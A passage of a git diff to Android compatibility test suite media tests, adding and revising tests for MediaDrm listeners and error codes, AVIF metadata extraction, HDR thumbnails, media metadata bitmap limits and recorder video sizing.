+                                            Arrays.toString(mSessionId) + "| vs |" + Arrays.toString(sid) + "|");
+                                    return;
+                                }
+
+                                mEventListenerCalled = true;
+                                if (event == MediaDrm.EVENT_PROVISION_REQUIRED) {
+                                    Log.i(TAG, "MediaDrm event: Provision required");
+                                } else if (event == MediaDrm.EVENT_KEY_REQUIRED) {
                                     Log.i(TAG, "MediaDrm event: Key required");
                                     getKeys(mDrm, initDataType, mSessionId, mDrmInitData,
                                             keyType, clearKeyIds);
@@ -289,11 +306,28 @@
                                     Log.i(TAG, "MediaDrm event: Key expired");
                                     getKeys(mDrm, initDataType, mSessionId, mDrmInitData,
                                             keyType, clearKeyIds);
+                                } else if (event == MediaDrm.EVENT_VENDOR_DEFINED) {
+                                    Log.i(TAG, "MediaDrm event: Vendor defined");
+                                } else if (event == MediaDrm.EVENT_SESSION_RECLAIMED) {
+                                    Log.i(TAG, "MediaDrm event: Session reclaimed");
                                 } else {
-                                    Log.e(TAG, "Events not supported" + event);
+                                    Log.e(TAG, "MediaDrm event not supported: " + event);
                                 }
                             }
                         });
+                    mDrm.setOnExpirationUpdateListener(new MediaDrm.OnExpirationUpdateListener() {
+                            @Override
+                            public void onExpirationUpdate(MediaDrm md, byte[] sid, long expirationTime) {
+                                if (md != mDrm) {
+                                    Log.e(TAG, "onExpirationUpdate callback: drm object mismatch");
+                                } else if (!Arrays.equals(mSessionId, sid)) {
+                                    Log.e(TAG, "onExpirationUpdate callback: sessionId mismatch: |" +
+                                            Arrays.toString(mSessionId) + "| vs |" + Arrays.toString(sid) + "|");
+                                } else {
+                                    mExpirationUpdateReceived = true;
+                                }
+                            }
+                        }, null);
                     mDrm.setOnSessionLostStateListener(new MediaDrm.OnSessionLostStateListener() {
                             @Override
                             public void onSessionLostState(MediaDrm md, byte[] sid) {
@@ -327,7 +361,6 @@
                                 keyStatus = keyInformation.get(2);
                                 assertTrue(Arrays.equals(keyStatus.getKeyId(), new byte[] {0x0, 0x1, 0x2}));
                                 assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_USABLE_IN_FUTURE);
-
                             }
                         }, null);
 
@@ -399,6 +432,7 @@
 
         if (!preparePlayback(videoMime, videoFeatures, audioUrl, audioEncrypted, videoUrl,
                 videoEncrypted, videoWidth, videoHeight, scrambled, mSessionId, getSurfaces())) {
+            // TODO(b/182626189) investigate why cuttlefish does not support the requested media codec
             return;
         }
 
@@ -1167,8 +1201,9 @@
                 byte[] ignoredInitData = new byte[] { 1 };
                 drm.getKeyRequest(sessionId, ignoredInitData, "cenc", MediaDrm.KEY_TYPE_STREAMING, null);
             } catch (MediaDrm.SessionException e) {
-                if (e.getErrorCode() != MediaDrm.SessionException.ERROR_RESOURCE_CONTENTION) {
-                    throw new Error("Incorrect error code, expected ERROR_RESOURCE_CONTENTION");
+                if (e.getErrorCode() != MediaDrm.SessionException.ERROR_RESOURCE_CONTENTION ||
+                        !e.isTransient()) {
+                    throw new Error("Expected transient ERROR_RESOURCE_CONTENTION");
                 }
                 gotException = true;
             }
@@ -1185,6 +1220,240 @@
     }
 
     /**
+     * Test sendExpirationUpdate and onExpirationUpdateListener
+     *
+     * Expected behavior: the EXPIRATION_UPDATE event arrives
+     * at the onExpirationUpdateListener with the expiry time
+     */
+    @Presubmit
+    public void testOnExpirationUpdateListener() {
+
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = null;
+        mSessionId = null;
+        mExpirationUpdateReceived = false;
+
+        // provideKeyResponse calls sendExpirationUpdate method
+        // for testing purpose, we therefore start a license request
+        // which calls provideKeyResonpse
+        byte[][] clearKeyIds = new byte[][] { CLEAR_KEY_CENC };
+        int keyType = MediaDrm.KEY_TYPE_STREAMING;
+        String initDataType = new String("cenc");
+
+        drm = startDrm(clearKeyIds,  initDataType, CLEARKEY_SCHEME_UUID, keyType);
+        mSessionId = openSession(drm);
+        try {
+            if (!preparePlayback(
+                    MIME_VIDEO_AVC,
+                    new String[] { CodecCapabilities.FEATURE_SecurePlayback },
+                    Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false /* audioEncrypted */ ,
+                    Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
+                    VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
+                    mSessionId, getSurfaces())) {
+                closeSession(drm, mSessionId);
+                stopDrm(drm);
+                return;
+            }
+        } catch (Exception e) {
+            throw new Error("Unexpected exception ", e);
+        }
+
+        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+        getKeys(drm, initDataType, mSessionId, mDrmInitData,
+                    keyType, clearKeyIds);
+
+        // wait for the event to arrive
+        try {
+            closeSession(drm, mSessionId);
+            // wait up to 2 seconds for event
+            for (int i = 0; i < 20 && !mExpirationUpdateReceived; i++) {
+                try {
+                    Thread.sleep(100);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (!mExpirationUpdateReceived) {
+                throw new Error("EXPIRATION_UPDATE event was not received by the listener");
+            }
+          } catch (MediaDrmStateException e) {
+                throw new Error("Unexpected exception from closing session: ", e);
+        } finally {
+            stopDrm(drm);
+        }
+    }
+
+    /**
+     * Test that the onExpirationUpdateListener
+     * listener is not called after
+     * clearOnExpirationUpdateListener is called.
+     */
+    @Presubmit
+    public void testClearOnExpirationUpdateListener() {
+
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = null;
+        mSessionId = null;
+        mExpirationUpdateReceived = false;
+
+        // provideKeyResponse calls sendExpirationUpdate method
+        // for testing purpose, we therefore start a license request
+        // which calls provideKeyResonpse
+        byte[][] clearKeyIds = new byte[][] { CLEAR_KEY_CENC };
+        int keyType = MediaDrm.KEY_TYPE_STREAMING;
+        String initDataType = new String("cenc");
+
+        drm = startDrm(clearKeyIds,  initDataType, CLEARKEY_SCHEME_UUID, keyType);
+        mSessionId = openSession(drm);
+        try {
+            if (!preparePlayback(
+                    MIME_VIDEO_AVC,
+                    new String[] { CodecCapabilities.FEATURE_SecurePlayback },
+                    Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false /* audioEncrypted */ ,
+                    Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
+                    VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
+                    mSessionId, getSurfaces())) {
+                closeSession(drm, mSessionId);
+                stopDrm(drm);
+                return;
+            }
+        } catch (Exception e) {
+            throw new Error("Unexpected exception ", e);
+        }
+
+        // clear the expiration update listener
+        drm.clearOnExpirationUpdateListener();
+        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+        getKeys(drm, initDataType, mSessionId, mDrmInitData,
+                    keyType, clearKeyIds);
+
+        // wait for the event, it should not arrive
+        // because the expiration update listener has been cleared
+        try {
+            closeSession(drm, mSessionId);
+            // wait up to 2 seconds for event
+            for (int i = 0; i < 20 && !mExpirationUpdateReceived; i++) {
+                try {
+                    Thread.sleep(100);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (mExpirationUpdateReceived) {
+                throw new Error("onExpirationUpdateListener should not be called");
+            }
+        } catch (MediaDrmStateException e) {
+              throw new Error("Unexpected exception from closing session: ", e);
+        } finally {
+            stopDrm(drm);
+        }
+    }
+
+    /**
+     * Test that after onClearEventListener is called,
+     * MediaDrm's event listener is not called.
+     *
+     * Clearkey plugin's provideKeyResponse method sends a
+     * vendor defined event to the media drm event listener
+     * for testing purpose. Check that after onClearEventListener
+     * is called, the event listener is not called.
+     */
+    @Presubmit
+    public void testClearOnEventListener() {
+
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = null;
+        mSessionId = null;
+        mEventListenerCalled = false;
+
+        // provideKeyResponse in clearkey plugin sends a
+        // vendor defined event to test the event listener;
+        // we therefore start a license request which will
+        // call provideKeyResonpse
+        byte[][] clearKeyIds = new byte[][] { CLEAR_KEY_CENC };
+        int keyType = MediaDrm.KEY_TYPE_STREAMING;
+        String initDataType = new String("cenc");
+
+        drm = startDrm(clearKeyIds,  initDataType, CLEARKEY_SCHEME_UUID, keyType);
+        mSessionId = openSession(drm);
+        try {
+            if (!preparePlayback(
+                    MIME_VIDEO_AVC,
+                    new String[] { CodecCapabilities.FEATURE_SecurePlayback },
+                    Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false /* audioEncrypted */ ,
+                    Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
+                    VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
+                    mSessionId, getSurfaces())) {
+                closeSession(drm, mSessionId);
+                stopDrm(drm);
+                return;
+            }
+        } catch (Exception e) {
+            throw new Error("Unexpected exception ", e);
+        }
+
+        // test that the onEvent listener is called
+        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+        getKeys(drm, initDataType, mSessionId, mDrmInitData,
+                    keyType, clearKeyIds);
+
+        // wait for the vendor defined event, it should not arrive
+        // because the event listener is cleared
+        try {
+            // wait up to 2 seconds for event
+            for (int i = 0; i < 20 && !mEventListenerCalled; i++) {
+                try {
+                    Thread.sleep(100);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (!mEventListenerCalled) {
+                closeSession(drm, mSessionId);
+                stopDrm(drm);
+                throw new Error("onEventListener should be called");
+            }
+        } catch (MediaDrmStateException e) {
+              closeSession(drm, mSessionId);
+              stopDrm(drm);
+              throw new Error("Unexpected exception from closing session: ", e);
+        }
+
+        // clear the drm event listener
+        // and test that the onEvent listener is not called
+        mEventListenerCalled = false;
+        drm.clearOnEventListener();
+        getKeys(drm, initDataType, mSessionId, mDrmInitData,
+                    keyType, clearKeyIds);
+
+        // wait for the vendor defined event, it should not arrive
+        // because the event listener is cleared
+        try {
+            closeSession(drm, mSessionId);
+            // wait up to 2 seconds for event
+            for (int i = 0; i < 20 && !mEventListenerCalled; i++) {
+                try {
+                    Thread.sleep(100);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (mEventListenerCalled) {
+                throw new Error("onEventListener should not be called");
+            }
+        } catch (MediaDrmStateException e) {
+              throw new Error("Unexpected exception from closing session: ", e);
+        } finally {
+            stopDrm(drm);
+        }
+    }
+
+    /**
      * Test that the framework handles a device returning invoking
      * the ::android::hardware::drm@1.2::sendSessionLostState callback
      * Expected behavior: OnSessionLostState is called with
@@ -1234,6 +1503,61 @@
         }
     }
 
+    /**
+     * Test that the framework handles a device ignoring
+     * events for the onSessionLostStateListener after
+     * clearOnSessionLostStateListener is called.
+     *
+     * Expected behavior: OnSessionLostState is not called with
+     * the sessionId
+     */
+    @Presubmit
+    public void testClearOnSessionLostStateListener() {
+
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        boolean gotException = false;
+        mLostStateReceived = false;
+
+        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc",
+                CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
+
+        mDrm.setPropertyString("drmErrorTest", "lostState");
+        mSessionId = openSession(drm);
+
+        // Simulates session lost state here, event is sent from closeSession.
+        // The session lost state should not arrive in the listener
+        // after clearOnSessionLostStateListener() is called.
+        try {
+            try {
+                mDrm.clearOnSessionLostStateListener();
+                Thread.sleep(2000);
+                closeSession(drm, mSessionId);
+            } catch (MediaDrmStateException e) {
+                gotException = true; // expected for lost state
+            }
+            // wait up to 2 seconds for event
+            for (int i = 0; i < 20 && !mLostStateReceived; i++) {
+                try {
+                    Thread.sleep(100);
+                } catch (InterruptedException e) {
+                }
+            }
+            if (mLostStateReceived) {
+                throw new Error("Should not receive callback for OnSessionLostStateListener");
+            }
+        } catch(Exception e) {
+            throw new Error("Unexpected exception ", e);
+        } finally {
+            stopDrm(drm);
+        }
+        if (!gotException) {
+            throw new Error("Didn't receive expected MediaDrmStateException");
+        }
+    }
+
     @Presubmit
     public void testIsCryptoSchemeSupportedWithSecurityLevel() {
         if (watchHasNoClearkeySupport()) {
@@ -1250,6 +1574,35 @@
         }
     }
 
+    @Presubmit
+    public void testMediaDrmStateExceptionErrorCode()
+            throws ResourceBusyException, UnsupportedSchemeException, NotProvisionedException {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        MediaDrm drm = null;
+        try {
+            drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+            byte[] sessionId = drm.openSession();
+            drm.closeSession(sessionId);
+
+            byte[] ignoredInitData = new byte[]{1};
+            drm.getKeyRequest(sessionId, ignoredInitData, "cenc",
+                    MediaDrm.KEY_TYPE_STREAMING,
+                    null);
+        } catch(MediaDrmStateException e) {
+            Log.i(TAG, "Verifying exception error code", e);
+            assertFalse("ERROR_SESSION_NOT_OPENED requires new session", e.isTransient());
+            assertEquals("Expected ERROR_SESSION_NOT_OPENED",
+                    MediaDrm.ErrorCodes.ERROR_SESSION_NOT_OPENED, e.getErrorCode());
+        }  finally {
+            if (drm != null) {
+                drm.close();
+            }
+        }
+    }
+
     private String getClearkeyVersion(MediaDrm drm) {
         try {
             return drm.getPropertyString("version");
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmTest.java b/tests/tests/media/src/android/media/cts/MediaDrmTest.java
index adc927e..b2d63a6 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmTest.java
@@ -17,10 +17,14 @@
 package android.media.cts;
 
 import android.media.MediaDrm;
+import android.media.NotProvisionedException;
 import android.util.Log;
 import androidx.test.runner.AndroidJUnit4;
+
 import java.util.List;
 import java.util.UUID;
+
+import org.junit.Assert;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -55,4 +59,36 @@
         }
     }
 
+    @Test
+    public void testGetLogMessages() throws Exception {
+        List<UUID> supportedCryptoSchemes = MediaDrm.getSupportedCryptoSchemes();
+        for (UUID scheme : supportedCryptoSchemes) {
+            MediaDrm drm = new MediaDrm(scheme);
+            try {
+                byte[] sid = drm.openSession();
+                drm.closeSession(sid);
+            } catch (NotProvisionedException e) {
+                Log.w(TAG, scheme.toString() + ": not provisioned", e);
+            }
+
+            List<MediaDrm.LogMessage> logMessages;
+            try {
+                logMessages = drm.getLogMessages();
+                Assert.assertFalse("Empty logs", logMessages.isEmpty());
+            } catch (UnsupportedOperationException e) {
+                Log.w(TAG, scheme.toString() + ": no LogMessage support", e);
+                continue;
+            }
+
+            long end = System.currentTimeMillis();
+            for (MediaDrm.LogMessage log: logMessages) {
+                Assert.assertTrue("Log occurred in future",
+                        log.getTimestampMillis() <= end);
+                Assert.assertTrue("Invalid log priority",
+                        log.getPriority() >= Log.VERBOSE &&
+                                log.getPriority() <= Log.ASSERT);
+                Log.i(TAG, log.toString());
+            }
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaFormatTest.java b/tests/tests/media/src/android/media/cts/MediaFormatTest.java
index 2beae2b..fb27c56 100644
--- a/tests/tests/media/src/android/media/cts/MediaFormatTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaFormatTest.java
@@ -589,12 +589,16 @@
     public void testMediaFormatConstructors() {
         MediaFormat format;
         {
-            format = MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000, 6);
-            assertEquals(MediaFormat.MIMETYPE_AUDIO_AAC, format.getString(MediaFormat.KEY_MIME));
-            assertEquals(48000, format.getInteger(MediaFormat.KEY_SAMPLE_RATE));
-            assertEquals(6, format.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
-            assertEquals(3, format.getKeys().size());
-            assertEquals(0, format.getFeatures().size());
+            String[] audioMimeTypes = { MediaFormat.MIMETYPE_AUDIO_AAC,
+                    MediaFormat.MIMETYPE_AUDIO_MPEGH_MHA1, MediaFormat.MIMETYPE_AUDIO_MPEGH_MHM1 };
+            for (String mime : audioMimeTypes) {
+                format = MediaFormat.createAudioFormat(mime, 48000, 6);
+                assertEquals(mime, format.getString(MediaFormat.KEY_MIME));
+                assertEquals(48000, format.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+                assertEquals(6, format.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+                assertEquals(3, format.getKeys().size());
+                assertEquals(0, format.getFeatures().size());
+            }
         }
 
         {
diff --git a/tests/tests/media/src/android/media/cts/MediaItemTest.java b/tests/tests/media/src/android/media/cts/MediaItemTest.java
index 53217ca..75235c9 100644
--- a/tests/tests/media/src/android/media/cts/MediaItemTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaItemTest.java
@@ -19,6 +19,7 @@
 import android.media.browse.MediaBrowser.MediaItem;
 import android.os.Parcel;
 import android.test.AndroidTestCase;
+import android.text.TextUtils;
 
 /**
  * Test {@link android.media.browse.MediaBrowser.MediaItem}.
@@ -42,14 +43,17 @@
         assertTrue(mediaItem.isBrowsable());
         assertFalse(mediaItem.isPlayable());
         assertEquals(0, mediaItem.describeContents());
+        assertFalse(TextUtils.isEmpty(mediaItem.toString()));
 
         // Test writeToParcel
         Parcel p = Parcel.obtain();
         mediaItem.writeToParcel(p, 0);
         p.setDataPosition(0);
-        assertEquals(mediaItem.getFlags(), p.readInt());
-        assertEquals(description.toString(),
-                MediaDescription.CREATOR.createFromParcel(p).toString());
+
+        MediaItem mediaItemFromParcel = MediaItem.CREATOR.createFromParcel(p);
+        assertNotNull(mediaItemFromParcel);
+        assertEquals(mediaItem.getFlags(), mediaItemFromParcel.getFlags());
+        assertEquals(description.toString(), mediaItem.getDescription().toString());
         p.recycle();
     }
 
@@ -65,14 +69,17 @@
         assertFalse(mediaItem.isBrowsable());
         assertTrue(mediaItem.isPlayable());
         assertEquals(0, mediaItem.describeContents());
+        assertFalse(TextUtils.isEmpty(mediaItem.toString()));
 
         // Test writeToParcel
         Parcel p = Parcel.obtain();
         mediaItem.writeToParcel(p, 0);
         p.setDataPosition(0);
-        assertEquals(mediaItem.getFlags(), p.readInt());
-        assertEquals(description.toString(),
-                MediaDescription.CREATOR.createFromParcel(p).toString());
+
+        MediaItem mediaItemFromParcel = MediaItem.CREATOR.createFromParcel(p);
+        assertNotNull(mediaItemFromParcel);
+        assertEquals(mediaItem.getFlags(), mediaItemFromParcel.getFlags());
+        assertEquals(description.toString(), mediaItem.getDescription().toString());
         p.recycle();
     }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 7b25b26..0233b73 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -27,11 +27,11 @@
 import android.graphics.BitmapFactory;
 import android.graphics.Color;
 import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
 import android.media.MediaDataSource;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
-import android.media.MediaRecorder;
 import android.os.ParcelFileDescriptor;
 import android.net.Uri;
 import android.os.Build;
@@ -41,6 +41,7 @@
 import android.platform.test.annotations.RequiresDevice;
 import android.test.AndroidTestCase;
 import android.util.Log;
+import android.view.Display;
 
 import androidx.test.filters.SmallTest;
 
@@ -56,7 +57,6 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.util.ArrayList;
-import java.util.HashMap;
 import java.util.List;
 import java.util.function.Function;
 
@@ -385,6 +385,13 @@
     }
 
     public void testID3v240ExtHeader() {
+        if(!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R)) {
+            // The fix for b/154357105 was released in mainline release 30.09.007.01
+            // See https://android-build.googleplex.com/builds/treetop/googleplex-android-review/11174063
+            if (TestUtils.skipTestIfMainlineLessThan("com.google.android.media", 300900701)) {
+                return;
+            }
+        }
         setDataSourceFd("sinesweepid3v24ext.mp3");
         assertEquals("Mime type was other than expected",
                 "audio/mpeg",
@@ -642,12 +649,32 @@
     public void testThumbnailVP9Hdr() {
         if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
 
+        DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+        int numberOfSupportedHdrTypes =
+            displayManager.getDisplay(Display.DEFAULT_DISPLAY).getHdrCapabilities()
+                .getSupportedHdrTypes().length;
+
+        if (numberOfSupportedHdrTypes == 0) {
+            MediaUtils.skipTest("No supported HDR display type");
+            return;
+        }
+
         testThumbnail("video_1280x720_vp9_hdr_static_3mbps.mkv", 1280, 720);
     }
 
     public void testThumbnailAV1Hdr() {
         if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
 
+        DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+        int numberOfSupportedHdrTypes =
+            displayManager.getDisplay(Display.DEFAULT_DISPLAY).getHdrCapabilities()
+                .getSupportedHdrTypes().length;
+
+        if (numberOfSupportedHdrTypes == 0) {
+            MediaUtils.skipTest("No supported HDR display type");
+            return;
+        }
+
         testThumbnail("video_1280x720_av1_hdr_static_3mbps.webm", 1280, 720);
     }
 
@@ -1038,10 +1065,20 @@
             return;
         }
 
-        testGetImage("heifwriter_input.heic", 1920, 1080, 0 /*rotation*/,
+        testGetImage("heifwriter_input.heic", 1920, 1080, "image/heif", 0 /*rotation*/,
                 4 /*imageCount*/, 3 /*primary*/, true /*useGrid*/, true /*checkColor*/);
     }
 
+    public void testGetImageAtIndexAvif() throws Exception {
+        testGetImage("sample.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
+                1 /*imageCount*/, 0 /*primary*/, false /*useGrid*/, true /*checkColor*/);
+    }
+
+    public void testGetImageAtIndexAvifGrid() throws Exception {
+        testGetImage("sample_grid2x4.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
+                1 /*imageCount*/, 0 /*primary*/, true /*useGrid*/, true /*checkColor*/);
+    }
+
     /**
      * Determines if two color values are approximately equal.
      */
@@ -1065,7 +1102,7 @@
     }
 
     private void testGetImage(
-            final String res, int width, int height, int rotation,
+            final String res, int width, int height, String mimeType, int rotation,
             int imageCount, int primary, boolean useGrid, boolean checkColor)
                     throws Exception {
         Stopwatch timer = new Stopwatch();
@@ -1095,6 +1132,8 @@
             assertEquals("Wrong primary index", primary,
                     Integer.parseInt(mRetriever.extractMetadata(
                             MediaMetadataRetriever.METADATA_KEY_IMAGE_PRIMARY)));
+            assertEquals("Wrong mime type", mimeType,
+                    mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
 
             if (checkColor) {
                 Bitmap bitmap = null;
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataTest.java
new file mode 100644
index 0000000..0483c9d
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.Bitmap;
+import android.media.MediaMetadata;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests {@link MediaMetadata}.
+ */
+// TODO(b/168668505): Add tests for other methods.
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+@NonMediaMainlineTest
+public class MediaMetadataTest {
+
+    @Test
+    public void getBitmapDimensionLimit_returnsIntegerMaxWhenNotSet() {
+        MediaMetadata metadata = new MediaMetadata.Builder().build();
+        assertEquals(Integer.MAX_VALUE, metadata.getBitmapDimensionLimit());
+    }
+
+    @Test
+    public void builder_setBitmapDimensionLimit_bitmapsAreScaledDown() {
+        // A large bitmap (64MB).
+        final int originalWidth = 4096;
+        final int originalHeight = 4096;
+        Bitmap testBitmap = Bitmap.createBitmap(
+                originalWidth, originalHeight, Bitmap.Config.ARGB_8888);
+
+        final int testBitmapDimensionLimit = 16;
+
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, testBitmap)
+                .setBitmapDimensionLimit(testBitmapDimensionLimit)
+                .build();
+        assertEquals(testBitmapDimensionLimit, metadata.getBitmapDimensionLimit());
+
+        Bitmap scaledDownBitmap = metadata.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART);
+        assertNotNull(scaledDownBitmap);
+        assertTrue(scaledDownBitmap.getWidth() <= testBitmapDimensionLimit);
+        assertTrue(scaledDownBitmap.getHeight() <= testBitmapDimensionLimit);
+    }
+
+    @Test
+    public void builder_setBitmapDimensionLimit_bitmapsAreNotScaledDown() {
+        // A small bitmap.
+        final int originalWidth = 16;
+        final int originalHeight = 16;
+        Bitmap testBitmap = Bitmap.createBitmap(
+                originalWidth, originalHeight, Bitmap.Config.ARGB_8888);
+
+        // The limit is larger than the width/height.
+        final int testBitmapDimensionLimit = 256;
+
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, testBitmap)
+                .setBitmapDimensionLimit(testBitmapDimensionLimit)
+                .build();
+        assertEquals(testBitmapDimensionLimit, metadata.getBitmapDimensionLimit());
+
+        Bitmap notScaledDownBitmap = metadata.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART);
+        assertNotNull(notScaledDownBitmap);
+        assertEquals(originalWidth, notScaledDownBitmap.getWidth());
+        assertEquals(originalHeight, notScaledDownBitmap.getHeight());
+    }
+
+    @Test
+    public void builder_setMaxBitmapDimensionLimit_unsetLimit() {
+        final int testBitmapDimensionLimit = 256;
+        MediaMetadata metadata = new MediaMetadata.Builder()
+                .setBitmapDimensionLimit(testBitmapDimensionLimit)
+                .build();
+        assertEquals(testBitmapDimensionLimit, metadata.getBitmapDimensionLimit());
+
+        // Using copy constructor, unset the limit by passing zero to the limit.
+        MediaMetadata copiedMetadataWithLimitUnset = new MediaMetadata.Builder()
+                .setBitmapDimensionLimit(Integer.MAX_VALUE)
+                .build();
+        assertEquals(Integer.MAX_VALUE, copiedMetadataWithLimitUnset.getBitmapDimensionLimit());
+    }
+
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
index 656cd85..8a5c35c 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
@@ -2558,4 +2558,26 @@
         mMediaPlayer.start();
         assertTrue(mOnErrorCalled.waitForSignal());
     }
+
+    @Presubmit
+    public void testSetOnRtpRxNoticeListenerWithoutPermission() {
+        try {
+            mMediaPlayer.setOnRtpRxNoticeListener(
+                    mContext, Runnable::run, (mp, noticeType, params) -> {});
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected. We don't have the required permission.
+        }
+    }
+
+    @Presubmit
+    public void testSetOnRtpRxNoticeListenerWithPermission() {
+        try {
+            getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+            mMediaPlayer.setOnRtpRxNoticeListener(
+                    mContext, Runnable::run, (mp, noticeType, params) -> {});
+        } finally {
+            getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 905cb60..4312ffa 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -577,10 +577,26 @@
             MediaUtils.skipTest("no camera");
             return;
         }
+
+        int width;
+        int height;
+
         mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
         mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
         mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
         mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        // Try to get camera profile for QUALITY_LOW; if unavailable,
+        // set the video size to default value.
+        CamcorderProfile profile = CamcorderProfile.get(
+                0 /* cameraId */, CamcorderProfile.QUALITY_LOW);
+        if (profile != null) {
+            width = profile.videoFrameWidth;
+            height = profile.videoFrameHeight;
+        } else {
+            width = VIDEO_WIDTH;
+            height = VIDEO_HEIGHT;
+        }
+        mMediaRecorder.setVideoSize(width, height);
         mMediaRecorder.setOutputFile(mOutFile);
         long maxFileSize = MAX_FILE_SIZE * 10;
         recordMedia(maxFileSize, mOutFile);
@@ -993,6 +1009,8 @@
         }
         long fileSize = 128 * 1024;
         long tolerance = 50 * 1024;
+        int width;
+        int height;
         List<String> recordFileList = new ArrayList<String>();
         mFileIndex = 0;
 
@@ -1098,7 +1116,18 @@
         mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
         mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
         mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
-        mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
+        // Try to get camera profile for QUALITY_LOW; if unavailable,
+        // set the video size to default value.
+        CamcorderProfile profile = CamcorderProfile.get(
